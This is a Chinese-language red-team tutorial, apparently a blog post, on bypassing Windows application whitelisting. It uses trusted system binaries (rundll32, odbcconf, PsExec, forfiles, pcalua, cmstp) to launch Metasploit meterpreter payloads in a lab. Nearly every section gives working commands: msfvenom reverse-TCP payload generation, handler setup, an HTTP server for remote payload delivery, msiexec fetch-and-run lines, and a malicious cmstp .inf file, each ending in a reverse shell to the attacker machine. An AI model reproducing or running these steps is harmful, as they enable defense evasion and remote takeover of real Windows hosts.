基于白名单绕过
测试环境
攻击机:kali(192.168.2.12)
靶机:Win7(192.168.2.13)
靶机:Win10(192.168.2.4)
基于白名单Rundll32上线
Rundll32是指32位的DLL文件,它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。
基于本地加载dll上线
首先Msf生成一个DLL文件:
代码语言:javascript复制msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.12 lport=4567 -f dll > shellcode.dll
然后MSF设置监听:
代码语言:javascript复制use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost=192.168.2.12
set lport 4567
run
然后把刚刚MSF生成的 shellcode.dll 上传到目标服务器,加载rundll32.exe运行:
代码语言:javascript复制rundll32.exe目录:C:WindowsSysWOW64rundll32.exe
运行:rundll32 shell32.dll,Control_RunDLL c:UsersrootDesktopshellcode.dll
这个时候MSF收到反弹shell:
Rundll32命令执行
rundll32.exe还可以执行命令,可绕过一些waf:(打开远程桌面)
代码语言:javascript复制rundll32.exe javascript:"..mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject("WScript.Shell");w.run("mstsc");window.close()");
基于白名单odbcconf.exe上线
ODBCCONF.exe 是一种命令行工具,可用于配置 ODBC 驱动程序和数据源的名称。
首先MSF生成一个dll用于加载上线:
代码语言:javascript复制msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.2.12 lport=6666 -f dll > 6666.dll
之后设置MSF监听:
代码语言:javascript复制use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost=192.168.2.12
set lport 6666
run
最后把6666.dll文件上传到靶机服务器并执行命令成功上线:
代码语言:javascript复制odbcconf.exe /a {regsvr C:UsersrootDesktop6666.dll}
基于白名单PsExec远程加载Payload上线
微软于2006年7月收购sysinternals公司,PsExec是SysinternalsSuite的小工具之一,是一种轻量级的telnet替代品,允许在其他系统上执行进程,完成控制台应用程序的完全交互,而无需手动安装客户端软件,并且可以获得与控制台应用程序相当的完全交互性。
然而PsExec默认在Windows系统上没安装。
我们需要下载它:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
首先我们需要在MSF上生成Payload:
代码语言:javascript复制msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.2.12 LPORT=7777 -f msi > shellcode.msi
之后设置MSF监听:
代码语言:javascript复制use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost=192.168.2.12
set lport 7777
run
紧接着Kali开启一个HTTP服务用于远程加载:
代码语言:javascript复制 python -m SimpleHTTPServer 9000
这个时候我们访问:http://192.168.2.12:9000/shellcode.msi 就能够下载到我们本地。
之后在目标靶机上运行PsExec.exe反弹shell到Kali:
代码语言:javascript复制PsExec.exe -d -s msiexec.exe /q /i http://192.168.2.12:9000/shellcode.msi
注意:第一次运行可能会弹框,点击Agree就行了
缺点:第一次运行会弹窗。
基于白名单Forfukes远程加载Payload上线
Forfiles为Windows默认安装的文件操作搜索工具之一,可根据日期,后缀名,修改日期为条件。常与批处理配合使用。
首先MSF生成一个Payload:
代码语言:javascript复制msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.2.12 LPORT=8888 -f msi > 8888.msi
之后设置MSF监听:
代码语言:javascript复制use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost=192.168.2.12
set lport 8888
run
然后使用Python开启一个HTTP服务用于远程加载Payload:
代码语言:javascript复制 python -m SimpleHTTPServer 9000
这个时候我们访问 http://192.168.2.12:9000/8888.msi 就能够下载到。
随后让靶机运行命令远程加载Payload上线:
代码语言:javascript复制forfiles /p c:windowssystem32 /m cmd.exe /c "msiexec.exe /q /i http://192.168.2.12:9000/8888.msi"
缺点:需要让攻击者手动点击安装,还需要过UAC
基于白名单Ocalua执行Payload上线
Pcalua是Windows进程兼容性助理(Program Compatibility Assistant)的一个组件。
首先MSF生成一个Payload:
代码语言:javascript复制msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.2.12 LPORT=9999 -f exe > 9999.exe
随后MSF设置监听:
代码语言:javascript复制use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost=192.168.2.12
set lport 9999
run
之后吧9999.exe上传到目标服务器pcalua加载运行上线:
代码语言:javascript复制Pcalua -m -a 9999.exe
缺点:exe落地到服务器有可能会被自带的杀软查杀。
基于白名单Cmstp.exe执行Payload上线
Cmstp安装或删除“连接管理器”服务配置文件。如果不含可选参数的情况下使用,则 cmstp 会使用对应于操作系统和用户的权限的默认设置来安装服务配置文件。
代码语言:javascript复制微软官方文档:
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp
首先MSF生成一个Payload:(x64)
代码语言:javascript复制msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.12 LPORT=10000 -f dll > 10000.dll
然后设置MSF进行监听:
代码语言:javascript复制use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost=192.168.2.12
set lport 10000
run
接着新建一个10000.inf文件,修改 RegisterOCXSection 为 MSF生成的dll路径:
代码语言:javascript复制[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:UsersrootDesktop10000.dll
[Strings]
AppAct = "SOFTWAREMicrosoftConnection Manager"
ServiceName="saul"
ShortSvcName="saul"
接着把两个文件,10000.inf和10000.dll上传到目标服务器,运行命令加载上线:
代码语言:javascript复制cmstp.exe /s 10000.inf
参考文章:
《渗透红队百科全书》第十一章